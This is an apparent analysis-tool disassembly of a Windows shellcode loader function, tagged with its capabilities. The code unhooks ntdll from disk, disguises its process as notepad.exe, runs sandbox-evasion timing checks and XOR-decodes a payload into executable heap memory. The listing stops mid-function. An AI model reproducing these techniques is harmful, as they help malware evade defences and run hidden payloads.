Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x810], xmm6
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002b00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x808], rax
cmp qword [rbp + 0x808], 0
je 0x140001857
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5d0]
mov rax, qword [rbp + 0x7a0]
mov r10, qword [rbp + 0x808]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x798], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x798]
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x798]
add rax, rdx
mov qword [rbp + 0x770], rax
mov word [rbp + 0x806], 0
jmp 0x14000183f
mov rax, qword [rbp + 0x770]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x770]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x806]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x768], rax
mov rax, qword [rbp + 0x768]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x14000182e
mov dword [rbp + 0x598], 0
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x800], 0xffffffff
add dword [rbp + 0x800], 1
call sub.msvcrt.dll_rand
mov edx, eax
movsxd rax, edx
imul rax, rax, 0x78787879
shr rax, 0x20
sar eax, 3
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
mov dword [rbp + 0x764], eax
mov ecx, dword [rbp + 0x764]
mov eax, ecx
shl eax, 4
add eax, ecx
sub edx, eax
mov dword [rbp + 0x764], edx
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x764]
movq xmm0, rax
call fcn.140003e40
movq rax, xmm0
mov qword [rbp + 0x758], rax
cmp dword [rbp + 0x800], 0x146
jle 0x14000171a
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x598]
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x768]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x798]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x598]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x806]
add eax, 1
mov word [rbp + 0x806], ax
mov rax, qword [rbp + 0x770]
movzx eax, word [rax + 6]
cmp word [rbp + 0x806], ax
jb 0x14000166e
mov dword [rbp + 0x59c], 0
mov rax, qword [rbp + 0x7b0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5a0]
lea rax, [rbp + 0x59c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x750]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5a8]
add rax, 0x3c
mov qword [rbp + 0x748], rax
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x748]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x140002a30
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140002a30
mov rax, qword [rbp + 0x738]
mov edx, 0x5a3
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x734], eax
lea rax, str.snsphgdcmyveksc.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
jne 0x140002a30
mov dword [rbp + 0x724], 0x248
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x714], eax
mov eax, dword [rbp + 0x724]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x718]
call rax
mov dword [rbp + 0x710], eax
mov eax, dword [rbp + 0x710]
sub eax, dword [rbp + 0x714]
cmp eax, 0x216
jbe 0x140002a30
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov ecx, 0
call rax
mov dword [rbp + 0x704], eax
cmp dword [rbp + 0x704], 0xffffffff
je 0x140002a30
mov dword [rbp + 0x700], 0x396
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x700]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x364
jbe 0x140002a30
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov ecx, 0
call rax
mov dword [rbp + 0x6e4], eax
cmp dword [rbp + 0x6e4], 0xffffffff
je 0x140002a30
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d4], eax
mov ecx, 0x322
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d0], eax
mov eax, dword [rbp + 0x6d0]
sub eax, dword [rbp + 0x6d4]
cmp eax, 0x2f0
jbe 0x140002a30
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140001c0e
mov rax, qword [rbp + 0x6c8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov ecx, 0
call rax
mov dword [rbp + 0x7fc], eax
cmp dword [rbp + 0x7fc], 0xffffffff
je 0x140002a30
mov qword [rbp + 0x6b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x3000
mov r8d, 0x361
mov edx, 0
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
je 0x140002a30
mov ecx, 0x3ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a8], rax
mov ecx, 0x3ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6a0], rax
mov ecx, 0x3ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x698], rax
mov ecx, 0x3ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x7f4], 0xfa
mov dword [rbp + 0x7f8], 0
jmp 0x140001d91
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0xfa
jle 0x140001cfe
mov dword [rbp + 0x7f8], 0
jmp 0x140001e30
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x698]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x7f4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, dword [rbp + 0x7f8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x690]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x7f4], 1
add dword [rbp + 0x7f8], 1
cmp dword [rbp + 0x7f8], 0xfa
jle 0x140001db0
mov rax, qword [rbp + 0x6a8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x698]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x690]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, [rbp + 0xc0]
lea rdx, [0x140006130]
mov ecx, 0x99
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x7f0], 0xffffffff
add dword [rbp + 0x7f0], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x35f
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f10
movq rax, xmm0
mov qword [rbp + 0x688], rax
cmp dword [rbp + 0x7f0], 0x34b
jle 0x140001eb9
mov rax, qword [rbp + 0x7a8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov ecx, 0x1074
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x1074
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0x1074
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x7ec], 0
jmp 0x140002069
mov dword [rbp + 0x7e8], 0
jmp 0x140002055
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ec]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x678]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ec]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x670]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x50
jle 0x140001f78
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0xc
jle 0x140001f69
mov dword [rbp + 0x7ec], 0
jmp 0x140002167
mov dword [rbp + 0x7e8], 0
jmp 0x140002153
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x678]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x668]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x50
jle 0x140002094
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0xc
jle 0x140002085
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x7e4], 0
jmp 0x14000220c
call sub.msvcrt.dll_rand
imul eax, eax, 0x71
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003f10
movq rax, xmm0
mov qword [rbp + 0x5f0], rax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x1cc
jle 0x1400021ce
mov rax, qword [rbp + 0x680]
mov r8d, 0
mov edx, 0x4cc
mov ecx, 0x40000
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x660]
mov r8d, 0x4cc
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov dword [rbp + 0x7e0], 0
mov dword [rbp + 0x7dc], 0
mov ecx, 0x9d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov dword [rbp + 0x7d8], 0
jmp 0x14000231e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x640]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x7e0], eax
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x275
jle 0x1400022b0
mov dword [rbp + 0x7d8], 0
jmp 0x1400023a6
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x7dc]
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x5fc]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006608]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400040e0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x7dc], eax
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x275
jle 0x140002336
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x7dc]
movss xmm1, dword [0x140006610]
divss xmm0, xmm1
movss dword [rbp + 0x63c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x63c]
movq rax, xmm3
movq xmm0, rax
call fcn.140003af0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x638], xmm0
mov rax, qword [rbp + 0x640]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x4cc
mov rcx, rax
call r9
mov dword [rbp + 0x7d0], 0
mov dword [rbp + 0x7cc], 0
mov dword [rbp + 0x7c8], 0xffffffff
mov ecx, 0x1d18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
add dword [rbp + 0x7c8], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006600]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
movsd xmm1, qword [0x140006618]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x630]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7c8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x630]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7c8], 0x3a1
jle 0x140002458
movabs rax, 0x2ff733e16ea9afea
movabs rdx, 0x7d4fc2aa66b8198c
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xc736b968a520095c
movabs rdx, 0x2dbc2530a644e126
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xa65848a3f8320ea
movabs rdx, 0x65ca9383958c0a5b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov word [rbp + 0x30], 0xc6
movabs rax, 0xfb10f876cc66cb5e
movabs rdx, 0x790aecb69a2062ca
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x616d124bc620002c
movabs rdx, 0xc03ad8e904de062c
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xa111cad180b1be3d
movabs rdx, 0x1702bad8df776a2a
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x3b82d4ec2dae2fc1
movabs rdx, 0x7373cf7f2bbdf17
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x38a19bc14af81231
movabs rdx, 0x27afff38d079caeb
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x764ccb6a7263f92c
movabs rdx, 0x3f3b4f05d5b3b18f
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x1abb9c5dee32e922
movabs rdx, 0x3e8060acaf10217f
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov dword [rbp + 0xb0], 0xf0a38d
mov dword [rbp + 0x7d4], 0
jmp 0x1400026d9
cmp dword [rbp + 0x7d0], 0x72
jne 0x1400026a3
mov eax, dword [rbp + 0x7d4]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x7d0]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7d4]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x7c4], 0x38e
jmp 0x14000268e
sub dword [rbp + 0x7c4], 1
cmp dword [rbp + 0x7c4], 0
jg 0x140002687
mov dword [rbp + 0x7d0], 0
jmp 0x1400026d2
mov eax, dword [rbp + 0x7d4]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x7d0]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x7d4]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x7d0], 1
add dword [rbp + 0x7d4], 1
mov eax, dword [rbp + 0x7d4]
cmp eax, 0x30
jbe 0x14000264a
mov dword [rbp + 0x7d4], 0
jmp 0x14000293b
cmp dword [rbp + 0x7cc], 0x30
jne 0x1400028ef
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7cc]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0xc48
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x608], rax
mov dword [rbp + 0x7c0], 0
jmp 0x1400027ac
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x7c0]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x311
jle 0x14000275f
mov dword [rbp + 0x7c0], 0
jmp 0x1400028c4
mov dword [rbp + 0x604], 0
jmp 0x1400028a6
mov eax, dword [rbp + 0x7c0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x604]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000289f
mov eax, dword [rbp + 0x604]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x600], eax
mov eax, dword [rbp + 0x7c0]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rax, rdx
mov edx, dword [rbp + 0x604]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x608]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x604]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x608]
add rdx, rax
mov eax, dword [rbp + 0x600]
mov dword [rdx], eax
add dword [rbp + 0x7c0], 1
mov eax, 0x311
sub eax, dword [rbp + 0x7c0]
cmp dword [rbp + 0x604], eax
jl 0x1400027d6
add dword [rbp + 0x7c0], 1
cmp dword [rbp + 0x7c0], 0x311
jle 0x1400027c7
mov rax, qword [rbp + 0x608]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x7cc], 0
jmp 0x140002934
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7cc]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7d4]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7cc], 1
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x4cb
jle 0x1400026f7
mov dword [rbp + 0x7bc], 0
